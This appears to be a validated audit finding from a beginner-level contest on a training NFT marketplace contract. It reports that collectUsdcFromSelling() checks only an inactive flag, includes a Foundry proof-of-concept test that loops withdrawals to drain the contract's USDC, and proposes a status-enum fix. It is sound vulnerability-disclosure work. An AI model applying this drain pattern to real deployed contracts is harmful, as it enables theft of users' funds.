NFT Dealers
First Flight #58
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

NFT Dealers Can Be Drained

0xprestonong

Root + Impact

Description

NFTDeal.sol currently doesn't have the ability to differentiate between SOLD or CANCELED listings. The collectUsdcFromSelling() method simply relies on checking !listing.isActive to decide whether sellers are entitled for withdrawing payment from NFT sales.

Risk

Likelihood:

  • Sellers may simply cancel an active listing to pass the !listing.isActive check.

Impact:

  • As a result, the seller could just call the collectUsdcFromSelling() method as much as it could to drain the contract's USDC balance.

Proof of Concept

function testDrainContract() public revealed {
// contract has made a lot of money from past sales
usdc.mint(address(nftDealers), 1_000_000e6);
uint256 tokenId = 1;
uint32 nftPrice = 1000e6;
uint256 fees = nftDealers.calculateFees(nftPrice);
​
// userWithCash mints and lists an NFT
uint256 balanceBeforeMinting = usdc.balanceOf(userWithCash);
mintAndListNFTForTesting(tokenId, nftPrice);
uint256 balanceAfterMinting = usdc.balanceOf(userWithCash);
​
// userWithCash should have paid the collateral for minting
assertEq(balanceBeforeMinting - balanceAfterMinting, nftDealers.lockAmount());
uint256 newContractBalance = 1_000_000e6 + nftDealers.lockAmount();
assertEq(usdc.balanceOf(address(nftDealers)), newContractBalance);
​
// userWithEvenMoreCash buys the NFT
vm.startBroadcast(userWithEvenMoreCash);
usdc.approve(address(nftDealers), nftPrice);
nftDealers.buy(1);
vm.stopBroadcast();
​
newContractBalance = newContractBalance + nftPrice;
assertEq(usdc.balanceOf(address(nftDealers)), newContractBalance);
​
// userWithCash iteratively drains the contract's USDC balance.
// with each iterations withdraw the amount that they are "eligible" for
uint256 minToDrain = nftPrice + nftDealers.calculateFees(nftPrice);
while (usdc.balanceOf(address(nftDealers)) >= minToDrain) {
vm.prank(userWithCash);
nftDealers.collectUsdcFromSelling(tokenId);
}
​
// userWithCash would've ended up with more USDC than they started with, draining the contract of USDC
assertGt(usdc.balanceOf(userWithCash), balanceBeforeMinting);
}

Recommended Mitigation

Replace listing.isActive field with listing.status enum.

enum ListingStatus {
UNLISTED,
ACTIVE,
SOLD
}
​
struct Listing {
address seller;
uint32 price;
address nft;
uint256 tokenId;
ListingStatus status; // UNLISTED by default
}
​

ListingStatus State Transitions:

ListingStatus is at UNLISTED by default.

  1. list(): UNLISTED -> ACTIVE

  2. buy(): ACTIVE -> SOLD (must check listing.status == ListingStatus.ACTIVE)

  3. cancelListing(): ACTIVE -> UNLISTED

collectUsdcFromSelling() must check listing.status == ListingStatus.SOLD. At the end of this method, it must also set both collateralForMinting and listing.price to 0. Or, simply delete s_listings[_listingId].

Updates

Lead Judging Commences

rubik0n Lead Judge 16 days ago
Submission Judgement Published
Validated
Assigned finding tags:

cancel-to-steal-collateral

user can cancel listing, because the indication isActive is set to false and then checked in collectUsdcFromSelling - user can simply cancel listing and steal USDC

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!